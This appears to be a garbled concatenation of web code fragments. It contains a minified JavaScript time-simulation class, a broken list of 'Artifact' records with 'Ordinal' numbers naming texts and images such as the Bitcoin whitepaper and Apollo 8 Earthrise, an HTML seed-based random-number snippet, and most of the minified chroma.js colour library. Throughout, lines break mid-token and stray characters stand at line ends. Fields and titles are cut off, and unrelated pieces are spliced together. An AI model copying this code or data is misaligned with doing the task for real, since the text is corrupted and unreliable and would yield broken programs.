on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
   "Artifact": "BITCOIN GENESIS SATOSHI ",
   "Medium": "OTHER ",
   "Field": "SCIENCE"
   "Ordinal": "1763605954827093",
   "Artifact": "BITCOIN: A PEER-TO-PEER ELECTRONIC CASH SYSTEM ",
   "Medium": "PDF ",
   "Field": "SCIENCE"
   "Ordinal": "1225514403205417",
   "Artifact": "BUDDHA - DISCOURSE ON LOVING-FRIENDLINESS ",
   "Medium": "TEXT ",
   "Field": "RELIGION"
   "Ordinal": "1523586494154435",
   "Artifact": "JESUS - SERMON ON THE MOUNT ",
  "Medium": "TEXT ",
   "Field": "RELIGION"
   "Ordinal": "1225514403256383",
   "Artifact": "AESOP - FABLES ",
   "Medium": "TEXT ",
   "Ordinal": "1557902570451532",
   "Artifact": "APOLLO 8 - EARTHRISE ",
   "Medium": "IMAGE ",
   "Field": "SCIENCE"
   "Ordinal": "1922840005913310",
   "Artifact": "CONSTITUTION OF THE UNITED STATES ",
   "Medium": "TEXT ",
   "Field": "HISTORY"
   "Ordinal": "1589162660472716",
   "Artifact": "DA VINCI - MONA LM
   "Medium": "IMAGE ",
   "Ordinal": "1922840005901100",
   "Artifact": "DELARATION OF INDEPENDENCE ",
   "Medium": "TEXT ",
   "Field": "HISTORY"
   "Ordinal": "1447382445812188",
   "Artifact": "DELARATION OF INDEPENDENCE ",
   "Medium": "IMAGE ",
   "Field": "HISTORY"
   "Ordinal": "1225514403227533",
   "Artifact": "FROST - STOPPING BY THE WOODS ON A SNOWY EVENING ",
   "Medium": "TEXT ",
   "Ordinal": "138255358528099M
   "Artifact": "FROST - THE ROAD NOT TAKEN ",
   "Medium": "TEXT ",
   "Ordinal": "1523586494736651",
DEL - ON FORMALLY UNDECIDABLE PROPOSITIONS OF PRINCIPIA MATHEMATICA AND RELATED SYSTEMS ",
   "Medium": "TEXT ",
   "Field": "SCIENCE"
   "Ordinal": "1523586494208336",
   "Artifact": "GUNARATANA - MINDFULNESS IN PLAIN ENGLISH ",
   "Medium": "TEXT ",
   "Field": "HOW-TO"
   "Ordinal": "1745928628280026",
   "Artifact": "HOLY BIBLE - JM
AMES, CHAPTERS 1-5 ",
   "Medium": "TEXT ",
   "Field": "RELIGION"
   "Ordinal": "1924963397085364\t",
   "Artifact": "MICHELANGELO - THE CREATION OF ADAM ",
   "Medium": "IMAGE ",
   "Ordinal": "1382553585296193",
   "Artifact": "MOON PHOTOGRAPH ",
   "Medium": "IMAGE ",
   "Field": "SCIENCE"
   "Ordinal": "1382553585521485",
   "Artifact": "NASH - NONCOOPERATIVE GAMES ",
   "Medium": "PDF ",
   "Field": "SCIENCE"
   "Ordinal": "948117491120983",L
   "Artifact": "TIANANMEN SQUARE ",
   "Medium": "IMAGE ",
   "Field": "HISTORY"
   "Ordinal": "1225514403242330",
   "Artifact": "WHITMAN - O CAPTAIN! MY CAPTAIN! ",
   "Medium": "TEXT ",
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
